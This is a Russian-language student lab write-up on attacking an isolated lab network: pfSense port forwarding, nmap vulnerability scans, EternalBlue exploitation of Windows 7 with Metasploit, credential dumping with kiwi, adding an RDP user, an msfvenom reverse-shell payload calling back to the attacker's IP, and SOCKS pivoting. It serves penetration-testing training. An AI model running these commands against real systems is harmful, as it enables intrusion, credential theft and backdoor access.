# Практика №3. Эксплутация уязвимостей. MetaSplot Framework
Импортировали топологию в pnet-lab

## Настройка Firewall, Windows 7, Debian
> DHCP - сетевой протокол, позволяющий сетевым устройствам автоматически получать IP-адрес и другие параметры, необходимые для работы в сети TCP/IP. Данный протокол работает по модели «клиент-сервер».
Зайдём на Debian и посмотрим интерфейсы

Видим, что есть настройка DHCP

Debian получил ip

Получение адреса по протоколу DHCP на межсетевом экране pfSense.
При запуске межсетевого экрана можно увидеть надписи: “WAN” - адрес устройств при выходе в интернет, “LAN” - адрес данного устройства в локальной сети, по нему так же можно определить сеть, адреса из которой будут получать устройства во внутренней сети.
> WAN (Wide Area Network) - глобальная вычислительная сеть, компьютерная сеть, охватывающая большие территории и включающая большое число узлов, возможно находящиеся в различных городах и странах.
> LAN (Local Area Network) - это совокупность устройств, соединённых вместе в одном физическом месте, например, в здании, офисе или доме.
>
Firewall работает, видим внутренний и внешний ip

На windows 7 выбираем set network location - work (сеть предприятия)

Переходим по внутреннему айпи и заходим на pfsense


В командной строке windows 7 смотрим конфигурацию
Видим, какой ip у windows 7

Далее с помощью межсетевого экрана pfSense можно настроить технологию “port-forwarding”.
> Форвардинг портов (или перенаправление портов) – это процесс переадресации запросов одного порта на другой хост, порт или сеть.
Добавляем форвординг до нашей системы.
1. Пробрасываем 445 порт до винды
В поле address указываем адрес самого устройства, к которому проводится доступ (ip-адрес Windows 7), в полях destination port range и redirect target port указывается, с какого и на какой порт перенаправляется трафик.
> Порт 445 используется ОС Windows для совместной работы с файлами.

2. Пробрасываем 3389 порт (rdp) до винды
> Протокол удаленнего рабочего стола (RDP) предоставляет возможности удаленного отображения и ввода через сетевые подключения для приложений на основе Windows, работающих на сервере. Протокол RDP предназначен для поддержки различных типов сетевых топологий и нескольких протоколов локальной сети.

Теперь правила проброса портов были созданы

Также в interfasces/WAN необходимо убрать эти галочки, чтобы убрать блокировку локальных и bogon адресов (приватных адресов)

На windows 7 проверяем, что разрешены подключения по удаленному доступу.

## Сканирование внешнего интерфейса фаервола сетевым сканером nmap
На кали линуксе 2022 для начала смотрим наш ip - 192.168.184.134

Далее с помощью утилиты nmap в агрессивном режиме сканируем внешний ip pfsense, задав в условии только интересующие нас порты 445 и 3389
Видим наши открытые порты, некоторую информацию об ОС, информацию о сессии пользователя системы, использовавшего устройство


Чтобы получить больше информации об уязвимостях, воспользуемся той же утилитой nmap со скриптом vuln и флагами:
-sV: Исследовать открытые порты для определения информации о службе/версии
--script: сканирование с использованием скриптов
-p <диапазон_портов>: Сканирование только определенных портов
> Скрипты, относящиеся к категории “vuln”, ищут определенные известные уязвимости и сообщают о них только в том случае, если они обнаружены в целевой системе.

Видим критическую уязвимость ms17-010
> К семейству “EXPLOIT.WIN32.MS17-010” относятся вредоносные объекты, которые эксплуатируют уязвимость в алгоритме протокола SMB (сетевого протокола прикладного уровня для удалённого доступа к файлам, принтерам и другим сетевым ресурсам, а также для межпроцессного взаимодействия), реализованном в операционных системах семейства Windows. Больше известны под названием “EternalBlue”. При удачном исходе атаки злоумышленник может выполнить свой код от имени пользователя system.
Запускаем msfconsole
> Metasploit Framework — это мощнейший инструмент, который могут использовать как киберпреступники, так и «белые хакеры» и специалисты по проникновению для исследования уязвимостей в сетях и на серверах. Поскольку это фреймворк с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем.
> С помощью Metasploit пентестеры могут использовать готовый или создать пользовательский код и вводить его в сеть для поиска слабых мест. В качестве еще одного способа поиска угроз, после идентификации и документирования недостатков, эту информацию можно использовать для устранения системных недостатков и определения приоритетности решений.

Ищем эксплойты для уязвимости ms17-010

Используем эксплойт под номером 0 (eternalblue). У нас автоматически сконфигурировался payload. Затем смотрим опции.

Нам необходимо прописать команду
```
set RHOSTS 192.168.184.135
```
чтобы установить хост
Теперь запустим эксплойт

> Meterpreter - это расширенная многофункциональная нагрузка (payload), которая используется в инструменте Metasploit Framework как унифицированная основа для постэксплуатации. Можно сказать, что Meterpreter - это Linux-терминал на компьютере жертвы.
Теперь легко можем получить скрин экрана винды

Готово


Машинки отвалились, после перезапуска изменились ip



Переделаем шаги для другого ip и продолжим
Загружаем киви
> Утилита kiwi нужна для вывода конфиденциальных данных, таких как получение паролей или хешированной информации.

Смотрим всю информацию о пользователях в системе с помощью команды
```
creds_all
```

Дальше смотрим все доступные команды

Находим команду добавления нового пользователя

Выполняем команду

Смотрим опции и видим, что не прописана сессия, затем смотрим сесиию, задаем сессию, задаём имя пользователя, запускаем эксплойт

> Интересным для нас, является получение доступа к удаленному рабочему столу. Остановимся на этом вопросе подробнее, так как все средства для этого у нас есть. Скрипт, выполняющий все настройки подключения называется getgui.
Перейдём в сессию и добавим нового пользователя с помощью команды
```
run getgui -u USERNAME -p PASSWORD
```

В windows 7 можем посмотреть, что пользователь действительно добавлен

## Получение доступа к Windows 10
Создадим пользователя не относящегося ни к какой группе с привилегиями

Отключаем брандмауэр

Разрешаем удалённый доступ

Заходим под этим пользователем

Один из вариантов проксирования может быть проброс портов с помощью ssh-туннелирования Remote TCP forwarding (удалённый доступ).
> Прокси-сервер - это сервер-посредник между пользователем и интернет-ресурсом. Человек подключается не напрямую к серверу нужного сайта, а к прокси-серверу - и уже он передаёт данные на сайт и отправляет обратно в браузер пользователя.
> SSH - сетевой протокол, который используется для удалённого управления ОС и проксировании TCP-соединений. Выполняет шифрование всего трафика.
На кали запустим оболочку и включаем ssh

Смотрим открытые порты

Теперь нужно устанавливать ssh-соединение в обратном направлении — от «host2» к «host1». Т.е. наша административная рабочая станция будет SSH-сервером и будет доступна по SSH с «host2», а на «host2» нужно будет выполнить подключение SSH-клиентом:
`ssh -R 3390:localhost:3389 user@192.168.184.134(host1)`
где -R - удаленное подключение, localhost - система клиента, 3390 - выбранный нами порт, 3389 - порт подключения(RDP), user@192.168.184.134 - Kali Linux, которому мы предоставляем подключение.
На windows 10 открываем командную строку и выполняем

Смотрим новые подключения с помощью команды ss и флагов:
-t - выводит список портов TCP;
-u - выводит список портов UDP;
-l - выводит только слушающие (Listen) сокеты;
-n - показывает номер порта;
-p - показывает имя процесса или программы.

Затем подключаемся к windows 10 с помощью утилиты удалённого подключения freerdp по протоколу RDP
> Утилита freerdp - бесплатная реализация протокола удалённого рабочего стола (RDP)
```
xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390
```
В опциях /u и /p необходимо указать пользователя системы, к которой идёт подключение, и пароль соответственно, в опции /v необходимо указать ip-адрес сервера, к которому нужно подключиться.

Получаем удалённый доступ к windows 10

Для взлома win10 создадим payload, используя инструкции:
MSFVenom:
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
Payload:
https://habr.com/ru/company/ruvds/blog/343612/
Создаем payload:
> MSFvenom Payload Creator (MSFPC), создатель полезной нагрузки MSFvenom, - это обёртка для создания нескольких типов полезной нагрузки на основе выбора пользователя. Идея в том, чтобы упростить, насколько возможно (требуется только один ввод), создание полезной нагрузки.
```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.134 LPORT=5555 -f exe -o meterpreter.exe
```

Поднимаем сервер для передачи ексешника с помощью модуля языка Python, который предоставляет возможность поднять локальный сервер по указанному порту:
```
python -m http.server 80
```

Выполним на windows 10 этот файл


Ничего не произошло, понимаем, что необходимо настроить сервер
> Уязвимость exploit/multi/handler нужна для эксплоитов, которые будут запускаться в неизвестном контексте неизвестно когда.
Запускаем консоль, используем exploit/multi/handler и устанавливаем payload meterpreter/reverse_tcp

Смотрим опции, видим, что нет хоста

Прописываем хост (указываем адрес 0.0.0.0, чтобы прослушивались все интерфейсы) и меняем порт (локальным портом будет порт, указанный при создании нагрузки)

Теперь снова запустим на windows meterpreter.exe

В результате на Kali Linux у нас появилась meterpreter сессия windows 10

## Проксирование
Смотрим тут же айпиконфиг windows 10, чтобы узнать адрес внутренней сети, необходимо прописать команду “ipconfig”. Здесь видно, что был найден локальный адрес устройства: 192.168.1.100.

Получается сеть, к которой получаем доступ - это 192.168.1.0. Пропишем маршрутизацию через внешний адрес инфраструктуры.

Поищем в сети айпишники с помощью сканера arp_scanner. Так как работала только windows 10, то её айпишник мы и увидим.

> SOCKS – это интернет-протокол, который используется для передачи пакетов с данными от сервера к клиенту с помощью промежуточного прокси-сервера. На сегодня это наиболее продвинутая массовая технология для организации прокси. При ее использовании трафик проходит через прокси-сервер, который использует собственный IP-адрес, с которого уже идет финальное подключение к нужному адресату. Наиболее свежая спецификация протокола – это SOCKS5.
Найдём socks и посмотрим доступные опции

Запустим socks_proxy

> Proxychains – это программа, которая позволяет нам маскировать наш IP-адрес путем перенаправления сетевого трафика.
Отредактируем файл конфигурации, добавим данное соединение в конфигурацию прокси, чтобы на Kali Linux всё работало

В файле укажем только что созданное соединение

Затем запустим команду nmap через утилиту proxychains с использованием флагов:
-sT - сканирование TCP-соединений
-sV - проверка открытых портов для определения информации о службе/версии
-Pn - пропуск проверки обнаружения хост
-n - убрать преобразование в DNS-адрес (Reverse DNS lookup)

Были обнаружены 139, 445, 3389 порты.
> Порт 139 используется сеансовой службой NetBIOS, которая активизирует браузер поиска других компьютеров, службы совместного использования файлов, Net Logon и службу сервера.
> Порт 445 используется ОС Windows для совместной работы с файлами.
> Порт 3389 использует протокол удаленнего рабочего стола (RDP) предоставляет возможности удаленного отображения и ввода через сетевые подключения для приложений на основе Windows, работающих на сервере. Протокол RDP предназначен для поддержки различных типов сетевых топологий и нескольких протоколов локальной сети.